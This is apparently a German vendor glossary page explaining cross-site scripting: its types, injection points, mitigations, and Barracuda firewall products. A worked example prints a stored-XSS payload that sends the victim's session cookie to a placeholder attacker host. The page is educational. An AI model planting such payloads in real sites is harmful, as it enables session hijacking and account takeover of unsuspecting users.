Was ist Cross-Site-Scripting?
Cross-Site-Scripting (XSS) ist eine weit verbreitete Sicherheitslücke im Web. Damit kann ein Angreifer schädliches JavaScript oder anderen clientseitigen Code (z.B. VBScript, ActiveX, Flash usw.) in Webseiten einfügen. Der Code wird dann im Webbrowser des Clients ausgeführt.
Durch die Nutzung von XSS zielt ein Angreifer nicht direkt auf ein Opfer, sondern nutzt eine Sicherheitslücke in einer Website oder Webanwendung aus, die das Opfer besucht/nutzt. So dient die anfällige Website dem Angreifer im Wesentlichen als ein Mittel, um ein bösartiges Skript an den Browser des Opfers zu senden.
Cross-Site-Scripting-Angriffe lassen sich in drei Kategorien einteilen: Persistent/Stored XSS, Reflected XSS und DOM-basiertes XSS.
- Persistente XSS-Angriffe: Diese speichern schädliche Skripts auf dem Webanwendungsserver. Jeder Benutzer, der auf die Anwendung zugreift, ist durch das in seinem Browser ausgeführte Skript gefährdet.
- Reflektierte XSS-Angriffe: Diese finden eine Möglichkeit, dass ein kompromittierter Server ein schädliches Skript zurückgibt, das er in einer Anfrage erhält. Eine Anwendung, die Benutzereingaben in einer Anfrage empfängt und diese ohne richtige Validierung - etwa durch Filterung oder Bereinigung - in eine Antwort umwandelt, kann so schädliches JavaScript verbreiten. Wenn ein schädliches Skript auf diese Weise in eine Antwort gelangt, kann es unter Umständen im Browser ausgeführt werden.
- DOM-basierte XSS-Angriffe: Statt ein Skript in eine Webseite einzufügen, wird hier das Verhalten eines vorhandenen Skripts in ungewollter Weise geändert. In der Regel wird dies durch Ändern eines vertrauenswürdigen DOM-Elements erreicht.
Clientseitige Skripts haben vollständigen Zugriff auf das DOM (Document Object Model) und können auf alle Teile davon zugreifen oder diese ändern, darunter auch Sitzungsdaten und Cookies, und sie können auf den vorherigen Browserverlauf zugreifen. So kann ein Angreifer, dem es gelingt, XSS-Sicherheitslücken auszunutzen, beispielsweise Sitzungsdaten eines authentifizierten Benutzers kapern. Auf diese Weise kann er dann ein Benutzerkennwort ändern und erhält so Zugriff auf das Konto/System des Opfers.
Mit XSS-Angriffen können Angreifer sogar gesamte Client-Systeme steuern. Dabei leiten schädliche Skripts Client-Browser stillschweigend auf von Angreifern kontrollierte Domains um, die Malware bereitstellen, z.B. Browser-Exploit-Kits.
XSS-Methoden
Eine XSS-Injektion ist über jeden Teil einer Anfrage möglich, der vor Aufnahme in eine nachfolgende Antwort nicht ordnungsgemäß bereinigt wurde. Zu typischen Zielen gehören:
- URL-Parameter
- FORM-Parameter (GET- und POST-Parameter)
- Cookies
- HTTP-Header
- HTTP-Verweis-Objekte
Der XSS-Angriff - ein Beispiel
An einem Beispiel für einen XSS-Angriff, bei dem ein Angreifer ein Konto auf einer Webseite eines sozialen Netzwerks erstellt, lässt sich gut erläutern, wie einfach und mit wie wenig Aufwand sich ein System knacken lässt. Mit bösartigem JavaScript, das in ein Formularfeld eingebettet ist, wird der Code an die Site gesendet und serverseitig gespeichert:
/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+document.cookie)>&gender=male
Der Angreifer hat jetzt den Code
(<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+document.cookie)>)
in das Adressfeld eingefügt. Wenn sich nun ein ahnungsloser Benutzer das Profil des Angreifers ansieht, sendet der Server die Details des Angreiferprofils in der Antwort an den Browser des Benutzers. Die Antwort enthält das schädliche JavaScript, das im Browser ausgeführt wird und das Sitzungscookie an den Angreifer sendet.
Cross-Site-Scripting verhindern
Cross-Site-Scripting kann nur schwerlich verhindert werden. Es gibt aber ein paar weit verbreitete Ansätze:
- Akzeptieren Sie nach Möglichkeit nur Klartext-Eingaben. Dies ist häufig effektiv. In vielen Fällen möchten Benutzer ihrer Eingabe jedoch ein eingeschränktes HTML-Markup hinzufügen, z.B. zu Formatierungszwecken.
- HTML-Entitätscodierung für wichtige Zeichen -z.B. Umwandeln von „<“ in „<“ - wird vielfach empfohlen und praktiziert, kann aber nicht alle Scripting-Angriffe verhindern.
- Es gibt automatisierte Tools, die nach schädlichem Code, der Besuchern angezeigt werden kann, suchen und diesen entfernen. Dies ist zwar die umfassendste Lösung, trotzdem ist es unwahrscheinlich, dass diese Tools gegen einen entschlossenen Angreifer vollständig wirksam sind. Außerdem ist ihre Installation und Wartung unter Umständen teuer.
Warum Cross-Site-Scripting von Interesse ist
Wenn ein Angreifer eine XSS-Sicherheitslücke auf einer Webseite ausnutzen kann, um beliebiges JavaScript im Browser eines Besuchers auszuführen, wurde die Sicherheit dieser Website bzw. Webanwendung und ihrer Benutzer kompromittiert.
Im Idealfall lassen sich Cross-Site-Scripting-Angriffe durch sicheres Programmieren, das die Validierung von Eingaben erzwingt, verhindern. Häufig ist das aber für ältere Anwendungen, für Anwendungen von Drittanbietern oder wenn der Quellcode nicht direkt verfügbar ist, nicht praktikabel. Als eine Möglichkeit wird manchmal empfohlen, clientseitige Skripts in Benutzerbrowsern zu deaktivieren. Die meisten modernen Anwendungen sind jedoch auf genau diese clientseitigen Skripts angewiesen, um normal zu funktionieren. Wird JavaScript also deaktiviert, führt das zu Fehlfunktionen von Webanwendungen. Andere aufkommende clientseitige Sicherheitstechnologien, darunter die Content Security Policy (Inhaltssicherheitsrichtlinie) von Mozilla oder der IE -XSS-Filter, sind vielversprechend, aber noch nicht absolut sicher.
Cross-Site-Scripting - weiterführende Ressourcen
Zugehörige Begriffe
Weiterführende Ressourcen
Wie Barracuda Sie unterstützen kann
Die Barracuda Web Application Firewall enthält umfassende Regelsätze zum Erkennen reiner oder verschleierter XSS-Angriffe bei eingehenden Anfragen. Die Standardsicherheitsrichtlinie verhindert alle XSS-Angriffe, ohne dass zusätzliche Konfigurationen oder Änderungen am Webanwendungscode erforderlich sind.
Barracuda CloudGen Firewalls umfassen ein „Intrusion Detection and Prevention System“, das die Netzwerksicherheit erheblich erhöht. Das System verstärkt den umfassenden CloudGen-Netzwerkschutz und hilft so dabei, Angriffe wie Cross-Site-Scripting und Buffer-Overflows zu verhindern.